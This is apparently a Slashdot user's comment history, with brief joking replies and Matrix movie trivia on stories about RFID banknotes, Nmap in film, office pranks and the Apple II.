  1. Re:Prevent kidnappers demanding unmarked bills? on RFID Tags in Euro Banknotes · · Score: 1

    No no no...

    Kidnapper: Filthy rich swine, I have your daughter. If you ever want to see her again, drop off 50,000 dollars (or euros) in a suitcase next to the old bridge. I want small unmarked, un-RFID'd bills. If you do not meet my demands, your daughter will die!

    Rich guy: Oh no!

    Aww, I miss blink. I used to have a version of my webpage wherein every other word blinked. It was actually quite pretty, in a geeky epileptic sort of way.

    The guy at the end:

    He was seen in 3 other scenes in the movie. Look for him next time you watch it. Short hair, and a beard...

    1. Smith takes him over in the matrix, and answers the phone

    2. Tries to convince Lock to be one of the two ships to look for the oracle

    3. Tries to sneak up on Neo and co. and kill him with the knife.

  7. Re:Smith ashamed and embarrassed in first movie on Nmap Featured in The Matrix Reloaded · · Score: 1

    Yes, he unplugged to be able to talk to Morpheus without being interupted.. which became a problem because he didn't hear about Neo and Trinity shooting everyone in the lobby. He could have done things differently (like maybe lock the door) if he knew they were on their way.

  8. Re:SSH to home on How to Fake A Hard Day at the Office · · Score: 1

    He does now. I expect to see you in my office this afternoon at 3:30.

    Be sure to have your desk packed up by 3:15.

    Or you could just disable the messenger service in msconfig -> services, and not get those "broadcasting IP" popups anymore.

  10. Re:Personal recording technology to become ubiquit on DVRs for Cop Cars · · Score: 1

    Homonids by Robert J. Sawyer.

    The people from an alternate universe have computers implanted into their arm that records everything around them holographically, and send the recording to a central computer for storage. Some people (the news reporters of that universe) broadcast their Companion's recordings 24/7 live.

    Whoever was "The One" in the 5th iteration of the Zion program chose more black people than white people when they had to choose 7 men and 13 women (or whatever the numbers were).

    Based on that original genetic information, the entire city of 250,000 would be skewed to allow blacks to be the dominant race.

    If Neo had chosen the other door, and chose all white people, than the 7th iteration would be all white, with no black people at all.

    I need to watch the movie again and just record that speech on a voice recorder, to listen to when I'm more awake...

  13. Re:Would you all be... on Review: Matrix: Reloaded · · Score: 1

    I think they should take it farther than that... When Neo figures out that he's still inside the Matrix, he does some semi-magical mumbojumbo, the movie fades to blue, and zooms out to reveal a blue screen of death (error located at postion 101) and some geeky kid pounding on the keyboard screaming obcenities. Cut to black, roll credits.

  14. Re:patents & money on Amazon Takes Pikachu To The Patent Office · · Score: 1

    in other words, if someone wanted to buy a new car using nothing but pennies, nickels, and dimes, you would HAVE to accept them as payment?

    Nope, sorry, you can refuse service to anyone for any reason. If you know the money was gained through illegal (immoral, illicit, whatever) means, you don't have to sell to that person.

    I still haven't seen the old kind. Neither has my brother. Tell ya what, you send me 2 of the old kind (so my brother and I can each have one), and I'll send you one of the new kind.

  16. Re:possibly... on Still Life in the Apple II Community · · Score: 1

    I would have expected something like that from American McGee. I'd draw a cartoon about it, but I'd be afraid that American Greetings owns the copyright for Carmen Sandiego.

    The "Adventure" Scott Adams and the "Dilbert" Scott Adams are two different people. The Adventure one posts on the official EQ message boards quite often, and his sig tells people that he's not the Dilbert one.

    Yes, alien 4 stinks, but that pale human/alien hybrid thing that gets sucked into space at the end was for some reason the scariest monster I've ever seen in a movie.

    I dunno why, it just was. *shudder*
